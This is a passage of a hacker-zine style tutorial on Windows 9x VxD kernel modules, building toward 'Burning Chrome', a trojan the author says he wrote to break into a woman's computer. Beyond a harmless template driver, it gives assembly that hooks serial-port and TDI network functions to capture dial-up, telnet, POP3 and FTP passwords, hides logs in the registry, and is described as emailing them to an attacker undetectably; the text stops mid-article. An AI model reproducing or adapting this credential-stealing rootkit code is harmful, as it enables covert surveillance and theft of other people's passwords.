Attacking Windows 9x with Loadable Kernel Modules (alias VxD) -- Ou comment s'am
Date: Tuesday, January 20 @ 15:17:00 CET
Sujet: Asm


This article explains the basics of Windows 9x kernel modules development and contains the full source of a loadable kernel module (LKM) that performs the following functions:

1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords
2) it captures dial-up connections traffic (by capturing the raw data from the
serial port) and extracts dial-up passwords
3) by accessing the TCP stack directly (bypassing the Winsock interface), it
emails all the collected authentication information to an evil script kiddie sitting in a basement full of stolen hardware
4) it is virtually undetectable with any standard Windows tools
5) it is written entirely in assembly and the executable file size is
only 7KB


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [ a r t i c l e ] [ a u t h o r ] Attacking Windows 9x with Loadable Kernel Modules Solar Eclipse - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --------[ Solar Eclipse ] ----[ Introduction This article explains the basics of Windows 9x kernel modules development and contains the full source of a loadable kernel module (LKM) that performs the following functions: 1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords 2) it captures dial-up connections traffic (by capturing the raw data from the serial port) and extracts dial-up passwords 3) by accessing the TCP stack directly (bypassing the Winsock interface), it emails all the collected authentication information to an evil script kiddie sitting in a basement full of stolen hardware 4) it is virtually undetectable with any standard Windows tools 5) it is written entirely in assembly and the executable file size is only 7KB The name of the LKM is Burning Chrome. I wrote it because I had to break into a computer system owned by a girl called Chrome. Yes, I know it sounds lame. No, I don't know who William Gibson is. Dude, what is the Matrix? I assume that you have a basic knowledge of Win32 programming, x86 protected mode architecture, 32-bit assembly language programming, SoftIce and basic Internet protocols (telnet/pop3/ftp/smtp). I will start this article with a short overview of the Windows 9x kernel design. Then I will describe a template kernel module and will talk about some of the system services that Windows provides. Finally I will give you the Burning Chrome source. ----[ Windows 9x Internals Windows 9x has two separate layers of code: DLL layer and VXD layer. 1) DLL Layer The DLL layer consists of all system DLLs. It runs as a Ring 3 code. All the API functions that Windows programs normally call are implemented in the DLL layer (in KERNEL32.DLL, USER32.DLL, GDI32.DLL and other DLLs). Many of the DLLs call VXD functions. Some of the API functionality is implemented entirely in the VXD layer and the DLL functions act only as gates (this is the case with the registry access functions). Calling DLL functions from the VXD layer is impossible and this makes most of the Windows API inaccessible to kernel modules. I will not discuss the system DLLs any more, because they are not used for Windows kernel hacking. 2) VXD Layer The general term VXD stands for Virtual Device Driver, the "x" being a placeholder for device names. For example, VKD is a Virtual Keyboard Driver, VDD is a Virtual Display Driver, etc. The VXD layer is the core of the Windows OS. It is similar to the Linux kernel and the functions it provides, although it is not nearly as well documented. The VXD code handles memory management, task switching, low-level hardware access and other similar tasks. The core OS services, such as registry access, networking and file access are also implemented in the VXD layer. All VXDs run in Ring 0 and have full access to the system. Hacking the Windows kernel is possible by writing an VXD. The Windows Driver Development Kit (DDK) is used for writing VXDs. Most programmers shiver when somebody mentions 'device drivers', but but the VXDs can be used for many other purposes. Let me quote Andrew Schulman, the author of "Unauthorized Windows95. A Developer's Guide to Exploring the Foundations of Windows 95": "...Seen from this perspective, the names Virtual Device Driver and Device Driver Kit are unfortunate. They automatically turn off most Windows developers, who quite sensibly feel that device-driver writing is an area they would rather stay away from. More appropriate names would have been "TSRs for Windows" or "Please Hack Our Operating System". As it is, the names VXD and DDK alienate many programmers who would otherwise jump at this stuff. ...Admittedly, very few Windows programmers will be using VXDs to write hardware interrupt handlers or device drivers. But a short time spent with the DDK should convince you that there's a ton of documented functionality available to VXDs that is otherwise difficult or impossible to get under Windows. Whenever a programmer says that something is "impossible" in Windows, I suspect the correct reply will be "No it isn't. Write a VXD" Just as TSRs allowed DOS programmers to do the otherwise-impossible in the 1980s, VXDs are going to let Windows programmers go anywhere and do anything in what's left of the 1990s." Unfortunately (or maybe fortunately) writing VXDs for Windows has not become as common as writing TSRs for DOS was. The possibilities that the Virtual Device Drivers offer are big, but writing one is not an easy task. ----[ Your First VXD VXDs are usually written with the Windows98 DDK, which includes a copy of the Microsoft Macro Assembler (MASM). It is possible to use C for VXD development, but using assembly is definitely more fun. Other tools, such as NuMega DriverWorks make the programmer's job easier, but for this example I will use only the Win98 DDK. The DDK is available for free download on Microsoft's web site. Even if they take it down, you will be able to find it on some old copy of the MSDN or on the net. Having a copy of the Windows NT4 DDK, Windows 2000 DDK and even the Windows 3.11 DDK will also be nice. Many interesting VXD features are poorly documented or not documented at all. Although the Windows 98 DDK will be your primary source of information, sometimes you will find the information you need in some of the other kits. The Windows 3.11 DDK is useful, because there are a lots of similarities in the internal architecture of Windows 3.11 and Windows 95. (Contrary to the Microsoft hype, Windows 3.11 was closer to Windows 95 than to Windows 3.1. Basically the only major change between 3.11 and 95 was the GUI) The VXDs are LE executables. You need a special linker to link them (included in the DDK). The following source is a template for a very basic VXD. It's just an example for a module that can be successfully loaded by the system. example.asm ; EXAMPLE.ASM ; VXDs use 386 protected mode .386p ; Many system VXDs export services, just like the system DLLs in Windows. ; We can use these services for memory allocations, registry and file ; access, etc. ; All we need to do is include the appropriate include file. There are ; many INC files for the system VXDs that come with the DDK. ; VMM.INC is the only required include file. It contains the declarations ; for many important services exported by VMM32.VXD, as well as many ; macros that are used for VXD programming. INCLUDE VMM.INC ; All VXDs need a Driver Declaration Block (DDB), that stores information ; about its name, version, control procedure, device ID, init order, etc. ; To build this DDB use the Declare_Virtual_Device macro with the following ; parameters: ; - VXD name (needs not be the same as the file name) ; - Major version ; - Minor version ; - Control procedure (similar to WndProc in normal Windows programs. This ; procedure receives all the system messages and processes them ; - Device ID - used only for VXDs that export services. Arbitrary values ; might work as long as they don�t conflict with the official Device IDs ; assigned by Microsoft ; - Init order - 32 bit integer, determines the order in which the VXDs ; are loaded. If you want your VXD to be loaded after some other VXD, ; use a value greater than the other VXD's init order Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID, Undefined_Init_Order, , , ; This macros declares the data segment VxD_DATA_SEG SomeData dd 0 ; Just some data VxD_DATA_ENDS ; Code segment VxD_CODE_SEG BeginProc SomeProcedure push eax mov eax, 1 pop eax ret EndProc SomeProcedure VxD_CODE_ENDS ;Locked code segment - will be explained later VxD_LOCKED_CODE_SEG ; This is the control procedure. It should use Control_Dispatch macros for ; handling the messages. This macro takes 2 parameters - message_code and ; handler address. You can find a list of all the messages in the DDK ; documentation. ; This example only handles the Device_Init message and calls the ; Do_Device_Init function. BeginProc Control_Proc Control_Dispatch Device_Init, Do_Device_Init clc ret EndProc Control_Proc VxD_LOCKED_CODE_ENDS ; Init code segment VxD_ICODE_SEG ; This procedure is called after the VXD is loaded. Put the initialization ; code in it. BeginProc Do_Device_Init ; Put some init code here... ret EndProc Do_Device_Init VxD_ICODE_ENDS ; End of EXAMPLE.ASM END There are 7 different types of segments that your VXD can use. 1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data 2) VxD_LOCKED_DATA_SEG i VxD_LOCKED_CODE_SEG - this segments contain non-pageable code and data. Control_Proc and the interrupt handlers should be in VxD_LOCED_CODE_SEG. I am not quite sure about the rest of the code. The Windows DDK documentation is not very clear about that. If your VXD is small, you might want to use only non-pageable memory, just to be safe. 3) VxD_ICODE_SEG i VxD_IDATA_SEG - initialization code and data. These segments are discarded after the initialization is finished. This is a good place for the Do_Device_Init procedure. 4) VxD_REAL_INIT_SEG - The code in this segment is executed by Windows before the processor switches to protected mode. Unless you are writing a REAL device driver, it's pretty much useless. To compile the example VXD you will also need a .DEF file. This is EXAMPLE.DEF: example.def LIBRARY EXAMPLE DESCRIPTION 'VxD Example by Solar Eclipse' EXETYPE DEV386 SEGMENTS _LTEXT PRELOAD NONDISCARDABLE _LDATA PRELOAD NONDISCARDABLE _ITEXT CLASS 'ICODE' DISCARDABLE _IDATA CLASS 'ICODE' DISCARDABLE _TEXT CLASS 'PCODE' NONDISCARDABLE _DATA CLASS 'PCODE' NONDISCARDABLE EXPORTS EXAMPLE_DDB @1 example.def If your DDK is set up correctly, and all the shell variables are initialized (read the DDK docs for that), you should be able to compile EXAMPLE.VXD with the following commands (no Makefile, sorry): You can compile a DEBUG version with this: set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT - DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl ml example.asm NO_DEBUG version: set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT - DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl ml example.asm Then link it: link example.obj /vxd /def:example.def Put the file EXAMPLE.VXD in C:WINDOWSSYSTEM and add the following to the [386Enh] section of SYSTEM.INI device=example.vxd After the system is rebooted, the VXD will be loaded. Of course it won't do much, but you can see it in the VXD list with SoftIce. ----[ Burning Chrome The VXDs allow you to access most of the core Windows services directly and this gives you some interesting possibilities. Let's explore the features implemented in CHROME.ASM. I. Capturing dial-up passwords Almost all dial-up connections are initiated through a modem attached to a serial port, using the PPP protocol. The two most common ways of authentication are via PAP (Password Authentication Protocol) or via a login prompt. To get these passwords we need to capture the traffic passing through the serial port. The Hook_Device_Service system call allows us to hook the services exported by the VXDs. VCOMM.VXD exports three services that we need to hook. These are VCOMM_OpenComm, VCOMM_WriteComm and VCOMM_CloseComm. The following code hooks the services: ; Hook VCOMM services GetVxDServiceOrdinal eax, _VCOMM_OpenComm mov esi, offset32 OpenComm_Hook VMMcall Hook_Device_Service jc Abort GetVxDServiceOrdinal eax, _VCOMM_WriteComm mov esi, offset32 WriteComm_Hook VMMcall Hook_Device_Service jc Abort GetVxDServiceOrdinal eax, _VCOMM_CloseComm mov esi, offset32 CloseComm_Hook VMMcall Hook_Device_Service jc Abort OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names of the new service handlers. One of the OpenComm parameters is the name of the device being opened. When a dial-up connection is established, Windows opens COM1, COM2, COM3 or COM4 and sends the AT modem commands. Our OpenComm procedure checks the device name and sets a flag if it is a COM port. All the subsequent WriteComm calls are logged, until the connection is closed. If the flag is set, the WriteComm procedure saves all the data to a buffer. When the buffer gets full, the data in it is processed and saved to the registry. The main goal of the log processing routines is to make sure that no username/password combination is emailed twice - getting your mailbox flooded by a misbehaving trojan horse is not good. This requires the usernames and the passwords to be saved and each new connection to be checked against the old sessions. The best place for storing such information is the registry. Reading and writing to the registry is much easier than storing the data in a file on the hard disk. The chance of the user noticing a few new entries in the registry is also very slim. For each session, four things need to be saved: username, password, phone number or IP address of the remote end and the log itself. Before the session is saved, the username, password and the phone number are extracted from the log and compared to the existing values in the registry. If a session with the same values exists, the new session is not saved. CHROME.ASM combines the username, password and phone number into a single string. Then it saves the session to the registry using this string as the key name and the log as the key value. The string acts as a hash of the log. When a new connection is captured, its hash string is generated and the VXD checks if a key with the same hash exists. It does this by trying to open a key with the same name as the hash string. If the RegQueryValueEx call fails, the new connection is saved. ; The following code is taken from the Send_Common procedure ; ValueName is pointer to the beginning of the hash string. ; pBuffer is a pointer to the log ; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used ; for passing a pointer to a NULL pointer Get_Reg_Value: ; Try to get the value with the same name xor ebx, ebx mov dwTemp_1, ebx push offset32 dwTemp_1 ; cbData push ebx ; lpszData push ebx ; fdwType push ebx ; dwReserved push ValueName ; lpszValueName push hOurKey ; phKey VMMCall _RegQueryValueEx ; Get the value of the key add esp, 18h cmp eax, ERROR_FILE_NOT_FOUND ; If key exists jne Send_Common_Abort ; Save the result in the registry push BufferSize ; cbData push pBuffer ; lpszData push REG_SZ ; fdwType push 0 ; dwReserved push ValueName ; lpszValueName push hOurKey ; phKey VMMCall _RegSetValueEx ; Set the value of the key add esp, 18h When the user ftp's to a server his connection is logged. If later he decides to telnet to the same server with the save username and password, the telnet connection will not be saved, because the hash string will be the same. To avoid this we will include an connection type identifier in the hash string. This identifier is a single letter put in the beginning of the hash string: TraceLetters equ $ ; Table with letters for each different NOTHING db 'N' ; type of trace. Indexed with TraceType MODEM db 'M' TELNET db 'T' FTP db 'F' POP3 db 'P' The buffer processing functions for the dial-up and the TCP connections are very similar. They only differ in the way the hash string is extracted from the log. The common buffer processing is done by the Send_Common function. It saves the new data in the buffer and checks if it is full. Usually we don't need to capture more than the first hundred bytes to get the username and password. If the buffer is full, the log should be processed. The TraceType variable contains the connection type - modem, telnet, ftp or pop3. Send_Common calls the appropriate log processing function - in the case of a dial-up connection it calls ModemLog. The log processing functions extract a hash string from the buffer and returns it to Send_Common. ModemLog checks the captured data for an ATD command. If does not find it, an error flag is set and the data is not saved into the registry. Else the phone number is extracted and copied as the first part of the hash string. If the first transferred byte after the phone number is a '~' we are dealing with a PPP connection. During the PPP connection establishment authentication information can be exchanged. The most commonly used protocol is called PAP (Password Authentication Protocol). CHAP (Challenge Authentication Protocol) is also popular, but it does not send the password in cleartext and therefor can not be captured by the VXD. You can find more information on PAP in RFC1172: The Point-to-Point Protocol Initial Configuration Options. The PPP protocol is described in RFC1331. The PAP authentication information is transmitted using a PPP packet with a PAP sub-packet type. The structure of the PAP packet is shown in the following table: | 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S | | | | | | | | | | | |PPP | PAP |code| id |length |user len|username |pass len|password | All PAP packets start with 7E C0 23. If the packet is carrying authentication information the PAP code is 01. We need to scan the captured PPP session for the 7E C0 23 01 byte sequence and copy the username and the password to hash string. If the first character after the phone number is not '~', we are dealing with a login prompt configuration. Usually the user enters a username, presses Enter, then enters the password, presses Enter again and the PPP connection is established. As we already know, the first byte of the PPP handshake sequence is '~'. If we copy all the data before the '~' to the hash string we'll surely get the username and the password. II. Capturing TCP connections Everybody reading this is probably familiar with the Winsock interface. What most of you don't know is that most of the Winsock functions are implemented in the Transport Data Interface (TDI). This is a kernel mode interface for network access, supporting different network protocols. WINSOCK.DLL is just a convenient way for the Windows applications to use this interace without calling the VTDI.VXD services directly. Among others the TDI interface provides the functions TdiConnect, TdiDisconnect and TdiSend. They correspond directly to the Winsock functions connect(), disconnect() and send(). We need to hook these functions and intercept the data being sent. There is no documented way for hooking these functions, but it's not impossible. The VTDI_Get_Info system call returns a pointer to the TdiDispatchTable, which contains pointers to all the TDI functions. The applications that use TDI are supposed to get the addresses from this table and call the TDI functions directly. If we get the address of this table and replace the addresses of the TDI functions with the addresses of our hooks, all the TDI calls will get routed to us. Our code runs in Ring 0 and we have full access to the memory and can change whatever we want. Of course we need to save the addresses of the old handlers so that we can call them later. Sounds just like hooking DOS interrupt handlers, doesn't it? Here is the code for hooking the TDI functions: ; Make sure VTDI is present VxDcall VTDI_Get_Version jc Abort ; Get a pointer to the TCP dispatch table push offset32 TCPName VxDcall VTDI_Get_Info add esp, 4 mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable ; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend mov ebx, [eax+0Ch] mov TdiCloseConnection_PrevAddr, ebx mov [eax+0Ch], offset32 TdiCloseConnection_Hook mov ebx, [eax+18h] mov TdiConnect_PrevAddr, ebx mov [eax+18h], offset32 TdiConnect_Hook mov ebx, [eax+1Ch] mov TdiDisconnect_PrevAddr, ebx mov [eax+1Ch], offset32 TdiDisconnect_Hook mov ebx, [eax+2Ch] mov TdiSend_PrevAddr, ebx mov [eax+2Ch], offset32 TdiSend_Hook The TDI documentation in the Windows DDK is incomplete and very confusing, but it's the only available source of information. TdiConnect is passed a pointer to a RequestAddress structure, which contains a pointer to a RemoteAddress structure, which contains the IP address and the port number. After making sure that the RequestAddress is of type IPv4, our TdiConnect handler checks the destination port number. If it is 21, 23 or 110 we need to capture this connection. We need to set the TraceType flag and save the connection handle. Unfortunately this connection handle is not returned directly by the original TdiConnect function. One of its parameters is the address of a callback function which is to be called after the connection is established (or when an error occurs). We will save the supplied address of the callback function and replace it with the address of TdiConnect_Callback function in the VXD. This function checks the connection status. If the connection is successfully established, the connection handle is saved. If not, the TraceType flag is unset. After that the real callback function is called. TdiSend is very similar to WriteComm. It checks the connection handle and if it matches the connection that we are currently tracing TdiSend calls SendCommon. From there on the process is exactly the same as described above. If we are tracing a pop3 session, SendCommon calls Pop3Log as a log processing function. Pop3Log converts the IP address of the server to a hex string and saves it as the first part of the hash. This makes sure that two accounts with the same username/password on different servers will not get confused. Then the log is scanned for the USER and PASS commands. The username and password are extracted and stored in the hash string. mov esi, pBuffer mov ecx, BufferSize mov ebx, ecx mov eax, 'RESU' ; Search for USER USER_or_PASS_Loop: cmp dword ptr [esi], eax ; Search for USER or PASS (in eax) je USER_or_PASS_Copy_Loop_Start inc esi dec ecx jz Pop3Log_Abort jmp USER_or_PASS_Loop USER_or_PASS_Copy_Loop_Start: add esi, 5 ; Skip 'USER' and 'PASS' USER_or_PASS_Copy_Loop: cmp byte ptr [esi], 0Dh ; Is here? jne Copy_USER_or_PASS cmp al, 'P' ; Is this a PASS copy? je Pop3Log_End ; Work done, finish log processing mov ax, 0A0Dh ; Save a between username & pass stosw mov eax, 'SSAP' jmp USER_or_PASS_Loop Copy_USER_or_PASS: movsb dec ecx jz Pop3Log_Abort jmp USER_or_PASS_Copy_Loop This code is shown here only as a prove that programming in assembly is a very brain damaging activity. After spending several years doing assembly language programming, you'll never programmer the same way as before, even in a high level language. Whether this is good or bad is a different question. The FTP protocol is very similar to the POP3 protocol. In fact the authentication commands (USER & PASS) are exactly the same and FtpLog can simply call Pop3Log. We don't want to capture all the anonymous ftp connections and that's why FtpLog checks the username. If it is 'anonymous', the connection trace is aborted. All telnet logs are processed by the TelnetLog function. It is a little bit more complicated because the Telnet client negotiates the terminal options with the server before it lets the user type his username and password. The algorithm for the username/password extraction is as follows: DATA: terminal options | 0 | username | CR | password | CR | more data 1) find the first CR 2] find the second CR 3) save the second CR position 4) search for the 0 (going back from the second CR) 5) stop when 0 is found or the beginning of the buffer is reached 6) copy everything from the current position (starting after the





Cet article provient de Coding : Sécurité Programmation Réseaux
http://coding.romainl.com

L'URL de cet article est:
http://coding.romainl.com/modules.php?name=News&file=article&sid=68